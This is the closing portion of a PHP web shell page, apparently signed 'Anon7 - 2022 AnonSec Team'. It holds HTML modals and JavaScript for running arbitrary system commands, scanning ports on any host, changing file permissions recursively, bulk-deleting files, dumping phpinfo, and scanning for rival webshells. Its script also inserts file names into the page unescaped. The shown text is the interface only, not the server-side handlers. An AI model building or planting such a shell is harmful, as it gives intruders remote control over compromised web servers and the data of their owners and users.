    <div id="permissionModal" class="modal-overlay fixed inset-0 z-50 flex items-center justify-center hidden p-4">
        <div class="modal-panel p-6 rounded-xl w-full max-w-md">
            <h2 class="text-2xl font-bold mb-4 text-gray-300 flex items-center"><i class="fa-solid fa-shield-halved mr-2 text-blue-500"></i> Modify Permissions</h2>
            <form method="POST" class="space-y-4">
                <input type="hidden" name="permission_target" id="permission_target_encoded">
                <p class="text-gray-400 mb-2 font-mono">Resource: <span id="permission_resource_name" class="font-bold text-gray-300"></span></p>
                <p class="text-gray-400 mb-2 font-mono">Current Mode: <span id="permission_current_value" class="font-bold text-sky-400"></span></p>
                
                <input type="text" name="permission_value" id="permission_mode_input" placeholder="New Octal Mode (e.g., 0755)" required 
                       class="w-full px-4 py-3 bg-gray-700/50 border border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 text-white transition duration-200"
                       pattern="[0-7]{3,4}" maxlength="4">
                
                <div class="flex items-center" id="permission_recursive_container">
                    <input type="checkbox" name="permission_recursive" id="permission_recursive" class="form-checkbox h-4 w-4 text-sky-600 bg-gray-900 border-gray-600 rounded focus:ring-sky-500 mr-2">
                    <label for="permission_recursive" class="text-gray-300 text-sm">Apply recursively (for directories)</label>
                </div>
                
                <div class="flex justify-end space-x-3 pt-2">
                    <button type="button" onclick="closeModal('permissionModal')" class="bg-gray-600 hover:bg-gray-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md">Cancel</button>
                    <button type="submit" class="bg-blue-600 hover:bg-blue-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md shadow-blue-900/50">Update</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="bulkActionModal" class="modal-overlay fixed inset-0 z-50 flex items-center justify-center hidden p-4">
        <div class="modal-panel p-6 rounded-xl w-full max-w-md">
            <h2 class="text-2xl font-bold mb-4 text-gray-300 flex items-center"><i class="fa-solid fa-layer-group mr-2 text-purple-500"></i> Bulk Actions</h2>
            <p class="text-gray-400 mb-4">You have <span id="selectedCount" class="font-bold text-purple-400">0</span> items selected.</p>
            <form method="POST" onsubmit="return validateBulkAction(this)" class="space-y-4">
                <button type="submit" name="bulk_delete" value="1" 
                        class="action-button w-full flex items-center justify-center bg-rose-600 hover:bg-rose-700 text-white font-semibold py-3 rounded-lg transition duration-200" 
                        onclick="return confirm('Delete selected resources?')">
                    <i class="fa-solid fa-trash-can mr-1"></i> Bulk Delete
                </button>

                <button type="submit" name="bulk_compression" value="1"
                        class="action-button w-full flex items-center justify-center bg-pink-600 hover:bg-pink-700 text-white font-semibold py-3 rounded-lg transition duration-200" 
                        onclick="return confirm('Create archive from selected resources?')">
                    <i class="fa-solid fa-file-zipper mr-1"></i> Create Archive
                </button>

                <div class="space-y-3 border border-gray-700 p-4 rounded-lg">
                    <h3 class="text-xl font-semibold text-gray-400 flex items-center"><i class="fa-solid fa-shield-halved mr-2"></i> Bulk Permissions</h3>
                    <input type="text" name="bulk_permission_value" id="bulk_permission_mode" placeholder="Octal Mode (e.g., 0755)" 
                           class="w-full px-4 py-3 bg-gray-700/50 border border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 text-white transition duration-200" 
                           pattern="[0-7]{3,4}" maxlength="4">
                    <div class="flex items-center">
                        <input type="checkbox" name="bulk_permission_recursive" id="bulk_permission_recursive" class="form-checkbox h-4 w-4 text-sky-600 bg-gray-900 border-gray-600 rounded focus:ring-sky-500 mr-2">
                        <label for="bulk_permission_recursive" class="text-gray-300 text-sm">Apply recursively</label>
                    </div>
                    <button type="submit" name="bulk_permission_update" value="1" 
                            class="action-button w-full bg-blue-600 hover:bg-blue-700 text-white font-semibold py-3 rounded-lg transition duration-200">
                        <i class="fa-solid fa-shield-halved mr-1"></i> Update Permissions
                    </button>
                </div>
                
                <div class="flex justify-end pt-2">
                    <button type="button" onclick="closeModal('bulkActionModal')" class="bg-gray-600 hover:bg-gray-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md">Cancel</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="commandModal" class="modal-overlay fixed inset-0 z-50 flex items-center justify-center hidden p-4">
        <div class="modal-panel p-6 rounded-xl w-full max-w-lg">
            <h2 class="text-2xl font-bold mb-4 text-gray-300 flex items-center"><i class="fa-solid fa-terminal mr-2 text-purple-500"></i> Execute System Command</h2>
            <form method="POST" class="space-y-4">
                <p class="text-gray-400 text-sm">Enter command to execute (e.g., `ls -la` or `whoami`).</p>
                <input type="text" name="execute_command" placeholder="Command" required 
                       class="w-full px-4 py-3 bg-gray-700/50 border border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 text-white transition duration-200 font-mono">
                <div class="flex justify-end space-x-3 pt-2">
                    <button type="button" onclick="closeModal('commandModal')" class="bg-gray-600 hover:bg-gray-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md">Cancel</button>
                    <button type="submit" class="bg-purple-600 hover:bg-purple-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md shadow-purple-900/50">Execute</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="networkScanModal" class="modal-overlay fixed inset-0 z-50 flex items-center justify-center hidden p-4">
        <div class="modal-panel p-6 rounded-xl w-full max-w-lg">
            <h2 class="text-2xl font-bold mb-4 text-gray-300 flex items-center"><i class="fa-solid fa-globe mr-2 text-orange-500"></i> Network Port Scanner</h2>
            <form method="POST" class="space-y-4">
                <p class="text-gray-400 text-sm">Scan host and specified ports (e.g., `80,443,21,22`).</p>
                <input type="text" name="scan_host" placeholder="Target Host (e.g., 127.0.0.1 or example.com)" required 
                       class="w-full px-4 py-3 bg-gray-700/50 border border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 text-white transition duration-200 font-mono">
                <input type="text" name="scan_ports" placeholder="Ports (comma separated)" required 
                       class="w-full px-4 py-3 bg-gray-700/50 border border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 text-white transition duration-200 font-mono">
                <div class="flex justify-end space-x-3 pt-2">
                    <button type="button" onclick="closeModal('networkScanModal')" class="bg-gray-600 hover:bg-gray-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md">Cancel</button>
                    <button type="submit" class="bg-orange-600 hover:bg-orange-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md shadow-orange-900/50">Scan</button>
                </div>
            </form>
        </div>
    </div>

    <div id="scanModal" class="modal-overlay fixed inset-0 z-50 flex items-center justify-center hidden p-4">
        <div class="modal-panel p-6 rounded-xl w-full max-w-3xl max-h-[90vh] overflow-y-auto">
            <h2 class="text-2xl font-bold mb-4 text-gray-300 flex items-center"><i class="fa-solid fa-bug-slash mr-2 text-rose-500"></i> PHP Security Scan</h2>
            <p class="text-gray-400 text-sm mb-4">Scan PHP files recursively for suspicious code patterns (e.g., webshell signatures, dangerous functions).</p>
            
            <div id="scanControls" class="space-y-4">
                <p class="text-gray-400 font-mono text-xs">Target Directory: <span class="text-sky-400"><?php echo htmlspecialchars($activeDirectory); ?></span></p>
                <button type="button" onclick="startSecurityScan()" class="action-button w-full bg-rose-600 hover:bg-rose-700 text-white font-semibold py-3 rounded-lg shadow-md shadow-rose-900/50">
                    <i class="fa-solid fa-magnifying-glass mr-2"></i> START SCANNING
                </button>
            </div>
            
            <div id="scanProgress" class="hidden space-y-4">
                <div class="scan-progress-bar">
                    <div id="progressBarFill" class="scan-fill" style="width: 0%;"></div>
                </div>
                <p class="text-gray-400 text-sm">Scanning file <span id="currentScanFile" class="font-mono text-sky-400">...</span> (<span id="progressPercentage">0%</span>)</p>
            </div>
            
            <div id="scanResults" class="hidden space-y-4 mt-6">
                <div class="flex justify-between items-center mb-4 pb-2 border-b border-gray-700">
                    <h3 class="text-xl font-bold text-gray-300">Scan Summary</h3>
                    <p class="text-sm text-gray-400">Total PHP Files: <span id="totalFilesCount" class="font-bold text-sky-400">0</span></p>
                </div>
                
                <div class="flex flex-wrap gap-2 md:gap-4 mb-4" id="scanTabs">
                    <button class="scan-tab active" data-tab="malicious">
                        <i class="fa-solid fa-skull-crossbones mr-1"></i> Malicious <span id="maliciousTabCount" class="ml-1 bg-rose-600 text-white text-xs px-2 py-1 rounded-full">0</span>
                    </button>
                    <button class="scan-tab" data-tab="suspicious">
                        <i class="fa-solid fa-triangle-exclamation mr-1"></i> Suspicious <span id="suspiciousTabCount" class="ml-1 bg-amber-600 text-white text-xs px-2 py-1 rounded-full">0</span>
                    </button>
                    <button class="scan-tab" data-tab="safe">
                        <i class="fa-solid fa-shield-check mr-1"></i> Safe <span id="safeTabCount" class="ml-1 bg-emerald-600 text-white text-xs px-2 py-1 rounded-full">0</span>
                    </button>
                </div>
                
                <div id="maliciousContent" class="scan-panel active">
                    <div class="max-h-64 overflow-y-auto border border-gray-700 rounded-lg">
                        <table class="result-table w-full text-sm">
                            <thead>
                                <tr class="sticky top-0 bg-gray-700/80 backdrop-blur-sm">
                                    <th class="p-2 text-rose-400 text-left">File (Malicious)</th>
                                    <th class="p-2 text-rose-400 text-left hidden md:table-cell">Score</th>
                                    <th class="p-2 text-rose-400 text-center">Actions</th>
                                </tr>
                            </thead>
                            <tbody id="maliciousTableBody"> 
                                </tbody>
                        </table>
                        <p id="noMaliciousResults" class="p-4 text-center text-rose-400 hidden">No malicious files detected. Keep it clean!</p>
                    </div>
                </div>
                
                <div id="suspiciousContent" class="scan-panel">
                    <div class="max-h-64 overflow-y-auto border border-gray-700 rounded-lg">
                        <table class="result-table w-full text-sm">
                            <thead>
                                <tr class="sticky top-0 bg-gray-700/80 backdrop-blur-sm">
                                    <th class="p-2 text-amber-400 text-left">File (Suspicious)</th>
                                    <th class="p-2 text-amber-400 text-left hidden md:table-cell">Score</th>
                                    <th class="p-2 text-amber-400 text-center">Actions</th>
                                </tr>
                            </thead>
                            <tbody id="suspiciousTableBody">
                                </tbody>
                        </table>
                        <p id="noSuspiciousResults" class="p-4 text-center text-amber-400 hidden">No suspicious files detected.</p>
                    </div>
                </div>
                
                <div id="safeContent" class="scan-panel">
                    <div class="max-h-64 overflow-y-auto border border-gray-700 rounded-lg">
                        <table class="result-table w-full text-sm">
                            <thead>
                                <tr class="sticky top-0 bg-gray-700/80 backdrop-blur-sm">
                                    <th class="p-2 text-emerald-400 text-left">File (Safe)</th>
                                    <th class="p-2 text-emerald-400 text-left">Reason</th>
                                    <th class="p-2 text-emerald-400 text-center">Size</th>
                                </tr>
                            </thead>
                            <tbody id="safeTableBody">
                                </tbody>
                        </table>
                        <p id="noSafeResults" class="p-4 text-center text-emerald-400 hidden">All files analyzed show low risk.</p>
                    </div>
                </div>
                
                <button type="button" onclick="resetScanInterface(); closeModal('scanModal');" class="action-button w-full bg-gray-600 hover:bg-gray-700 text-white font-semibold py-3 rounded-lg shadow-md">
                    <i class="fa-solid fa-xmark mr-2"></i> CLOSE SCANNER
                </button>
            </div>
        </div>
    </div>

    <div id="systemInfoModal" class="modal-overlay fixed inset-0 z-50 flex items-center justify-center hidden p-4">
        <div class="modal-panel p-6 rounded-xl w-full max-w-4xl h-[90vh]">
            <h2 class="text-2xl font-bold mb-4 text-gray-300 flex items-center"><i class="fa-solid fa-flask mr-2 text-sky-500"></i> Full PHP Information</h2>
            <div id="systemInfoContent" class="overflow-y-auto w-full h-[calc(100%-6rem)] p-4 bg-gray-900/50 border border-gray-700 rounded-lg text-sm text-gray-300">
                </div>
            <input type="hidden" id="systemInfoRawContent" value="<?php echo isset($_SESSION['system_information']) ? htmlspecialchars($_SESSION['system_information']) : ''; ?>">
            <?php unset($_SESSION['system_information']); ?>
            <div class="flex justify-end mt-4">
                <button type="button" onclick="closeModal('systemInfoModal')" class="bg-gray-600 hover:bg-gray-700 text-white font-semibold py-2 px-4 rounded-lg transition duration-200 shadow-md">Close</button>
            </div>
        </div>
    </div>


    <script>
        // --- Core Modal Management ---
        function openModal(modalId) {
            document.getElementById(modalId).classList.remove('hidden');
        }
        function closeModal(modalId) {
            document.getElementById(modalId).classList.add('hidden');
        }
        
        // Close modals on outside click
        document.addEventListener('click', function(event) {
            if (event.target.classList.contains('modal-overlay')) {
                event.target.classList.add('hidden');
            }
        });

        // --- Rename Modal Functions ---
        function openRenameModal(oldName, encodedOldName) {
            document.getElementById('current_resource_name').textContent = oldName;
            document.getElementById('rename_original_name').value = encodedOldName;
            document.getElementById('rename_new_input').value = oldName;
            openModal('renameModal');
        }

        // --- Permission Modal Functions ---
        function openPermissionModal(itemName, encodedItem, currentPerms, isDirectory) {
            document.getElementById('permission_resource_name').textContent = itemName;
            document.getElementById('permission_target_encoded').value = encodedItem;
            document.getElementById('permission_current_value').textContent = currentPerms;
            document.getElementById('permission_mode_input').value = currentPerms.slice(-3);
            const recursiveContainer = document.getElementById('permission_recursive_container');
            
            // Show/Hide recursive option based on resource type
            if (isDirectory) {
                recursiveContainer.classList.remove('hidden');
            } else {
                recursiveContainer.classList.add('hidden');
            }
            document.getElementById('permission_recursive').checked = false; 

            openModal('permissionModal');
        }

        // --- Bulk Action Functions ---
        function updateBulkActionButton() {
            const selectedCount = document.querySelectorAll('input[name="selected_resources[]"]:checked').length;
            const bulkActionButton = document.getElementById('bulkActionButton');
            const selectedCountSpan = document.getElementById('selectedCount');
            
            if (selectedCount > 0) {
                bulkActionButton.disabled = false;
                bulkActionButton.classList.remove('opacity-50', 'cursor-not-allowed');
            } else {
                bulkActionButton.disabled = true;
                bulkActionButton.classList.add('opacity-50', 'cursor-not-allowed');
            }
            
            if (selectedCountSpan) {
                selectedCountSpan.textContent = selectedCount;
            }
        }

        function validateBulkAction(form) {
            const selectedCount = document.querySelectorAll('input[name="selected_resources[]"]:checked').length;
            const targetAction = document.activeElement.name;
            
            if (selectedCount === 0) {
                alert("No resources selected for bulk operation");
                return false;
            }
            
            if (targetAction === 'bulk_permission_update') {
                const modeInput = document.getElementById('bulk_permission_mode').value;
                if (!modeInput || !modeInput.match(/^[0-7]{3,4}$/)) {
                    alert("Please enter a valid octal permission mode (e.g., 0755) for bulk update.");
                    return false;
                }
            }
            return true;
        }

        // Event Listeners for file selection
        document.getElementById('selectAllResources').addEventListener('change', function(e) {
            const checkboxes = document.querySelectorAll('input[name="selected_resources[]"]');
            checkboxes.forEach(cb => cb.checked = e.target.checked);
            updateBulkActionButton();
        });

        document.querySelectorAll('input[name="selected_resources[]"]').forEach(cb => {
            cb.addEventListener('change', updateBulkActionButton);
        });

        // --- System Info Handler ---
        document.addEventListener('DOMContentLoaded', function() {
            const systemInfoContent = document.getElementById('systemInfoRawContent');
            if (systemInfoContent && systemInfoContent.value) {
                // PHPInfo is messy HTML, inject it directly
                document.getElementById('systemInfoContent').innerHTML = systemInfoContent.value;
                openModal('systemInfoModal');
            }
        });

        // --- Security Scan Functions ---
        function startSecurityScan() {
            const scanControls = document.getElementById('scanControls');
            const scanProgress = document.getElementById('scanProgress');
            const scanResults = document.getElementById('scanResults');
            
            scanControls.classList.add('hidden');
            scanProgress.classList.remove('hidden');
            scanResults.classList.add('hidden');

            const scanData = new FormData();
            scanData.append('security_scan_request', '1');
            scanData.append('scan_directory', '<?php echo base64_encode($activeDirectory); ?>');

            fetch('', { method: 'POST', body: scanData })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        displayScanResults(data.results);
                        clearInterval(window.scanProgressInterval); // Stop simulation
                        document.getElementById('progressBarFill').style.width = '100%';
                        document.getElementById('progressPercentage').textContent = '100%';
                        document.getElementById('currentScanFile').textContent = 'Completed!';
                    } else {
                        alert('Scan failed: ' + data.error);
                        resetScanInterface(true); // Reset with error flag
                    }
                })
                .catch(error => {
                    console.error('Scan error:', error);
                    alert('Scan failed: Check console for details.');
                    resetScanInterface(true); // Reset with error flag
                });

            // Start progress simulation
            simulateScanProgress();
        }

        function simulateScanProgress() {
            let progress = 0;
            const progressBar = document.getElementById('progressBarFill');
            const totalFiles = 500; // Arbitrary high number for simulation
            let currentFileIndex = 0;
            
            // Clear previous interval if any
            if (window.scanProgressInterval) {
                clearInterval(window.scanProgressInterval);
            }

            window.scanProgressInterval = setInterval(() => {
                currentFileIndex++;
                progress = Math.min(99, Math.floor((currentFileIndex / totalFiles) * 100));

                if (currentFileIndex <= totalFiles) {
                    progressBar.style.width = progress + '%';
                    document.getElementById('progressPercentage').textContent = progress + '%';
                    
                    // Simulate file being scanned
                    if (currentFileIndex % 50 === 0) {
                       document.getElementById('currentScanFile').textContent = `Processing file ${currentFileIndex}...`;
                    } else if (currentFileIndex >= totalFiles) {
                       // Handled by fetch success
                    }
                }

                if (progress >= 99) {
                    clearInterval(window.scanProgressInterval);
                }
            }, 50); // Update every 50ms
        }
        
        function displayScanResults(results) {
            const maliciousBody = document.getElementById('maliciousTableBody');
            const suspiciousBody = document.getElementById('suspiciousTableBody');
            const safeBody = document.getElementById('safeTableBody');
            
            maliciousBody.innerHTML = '';
            suspiciousBody.innerHTML = '';
            safeBody.innerHTML = '';

            document.getElementById('totalFilesCount').textContent = results.total;
            document.getElementById('maliciousTabCount').textContent = results.malicious.length;
            document.getElementById('suspiciousTabCount').textContent = results.suspicious.length;
            document.getElementById('safeTabCount').textContent = results.safe.length;

            if (results.malicious.length === 0) { document.getElementById('noMaliciousResults').classList.remove('hidden'); } else { document.getElementById('noMaliciousResults').classList.add('hidden'); }
            if (results.suspicious.length === 0) { document.getElementById('noSuspiciousResults').classList.remove('hidden'); } else { document.getElementById('noSuspiciousResults').classList.add('hidden'); }
            if (results.safe.length === 0) { document.getElementById('noSafeResults').classList.remove('hidden'); } else { document.getElementById('noSafeResults').classList.add('hidden'); }

            // Populate Malicious
            results.malicious.forEach(item => {
                maliciousBody.innerHTML += createScanRow(item, 'rose');
            });
            
            // Populate Suspicious
            results.suspicious.forEach(item => {
                suspiciousBody.innerHTML += createScanRow(item, 'amber');
            });

            // Populate Safe (simpler row for low-risk files)
            results.safe.forEach(item => {
                safeBody.innerHTML += `
                    <tr class="hover:bg-gray-700/50 transition">
                        <td class="p-2 text-emerald-400 font-mono text-xs max-w-[200px] truncate" title="${item.file}">${item.file}</td>
                        <td class="p-2 text-gray-500 text-xs">${item.reason}</td>
                        <td class="p-2 text-gray-500 text-center text-xs">N/A</td> 
                    </tr>
                `;
            });
            
            document.getElementById('scanProgress').classList.add('hidden');
            document.getElementById('scanResults').classList.remove('hidden');
            
            // Reset tab to malicious results
            switchScanTab('malicious');
        }
        
        function createScanRow(item, color) {
            const patterns = item.patterns.map(p => `<span class="inline-block bg-${color}-700 text-${color}-300 text-xs px-2 py-0.5 rounded-full mr-1 mb-1 font-mono">${p.substring(0, 30)}...</span>`).join('');
            return `
                <tr class="hover:bg-gray-700/50 transition">
                    <td class="p-2 text-${color}-400 font-mono text-xs max-w-[200px] truncate" title="${item.file}">${item.file}
                        <div class="mt-1 flex flex-wrap max-w-full">${patterns}</div>
                    </td>
                    <td class="p-2 text-${color}-400 text-left hidden md:table-cell">${item.score}</td>
                    <td class="p-2 text-center whitespace-nowrap">
                        <a href="?edit_resource=<?php echo encodeDirectoryPath($activeDirectory . DIRECTORY_SEPARATOR); ?>${btoa(item.full_path)}" class="text-emerald-400 hover:text-emerald-500 p-1 transition duration-150" title="Edit/Inspect"><i class="fa-solid fa-pencil"></i></a>
                        <button onclick="if(confirm('Delete ${item.file}?')) location.href='?<?php echo $pathQueryParameter; ?>=<?php echo encodeDirectoryPath($activeDirectory); ?>&delete_resource=' + btoa('${item.file}')" class="text-rose-600 hover:text-rose-700 p-1 transition duration-150" title="Delete"><i class="fa-solid fa-trash-can"></i></button>
                    </td>
                </tr>
            `;
        }

        function switchScanTab(tabName) {
            document.querySelectorAll('.scan-tab').forEach(tab => {
                tab.classList.remove('active');
            });
            document.querySelector(`.scan-tab[data-tab="${tabName}"]`).classList.add('active');
            
            document.querySelectorAll('.scan-panel').forEach(panel => {
                panel.classList.remove('active');
                panel.style.display = 'none';
            });
            document.getElementById(`${tabName}Content`).classList.add('active');
            document.getElementById(`${tabName}Content`).style.display = 'block';
        }

        function resetScanInterface(isError = false) {
            document.getElementById('scanControls').classList.remove('hidden');
            document.getElementById('scanProgress').classList.add('hidden');
            document.getElementById('scanResults').classList.add('hidden');
            document.getElementById('progressBarFill').style.width = '0%';
            document.getElementById('progressPercentage').textContent = '0%';
            document.getElementById('currentScanFile').textContent = '...';
            
            // Optionally change progress bar color on error
            if (isError) {
                document.getElementById('progressBarFill').classList.add('scan-fill-error');
            } else {
                document.getElementById('progressBarFill').classList.remove('scan-fill-error');
            }
            
            // Stop simulation
            if (window.scanProgressInterval) {
                clearInterval(window.scanProgressInterval);
            }
        }
        
        // Tab click handler
        document.getElementById('scanTabs').addEventListener('click', function(e) {
            if (e.target.closest('.scan-tab')) {
                const tab = e.target.closest('.scan-tab');
                switchScanTab(tab.getAttribute('data-tab'));
            }
        });

        // Initialize on load
        updateBulkActionButton();
    </script>
</body>
</html>

Anon7 - 2022
AnonSec Team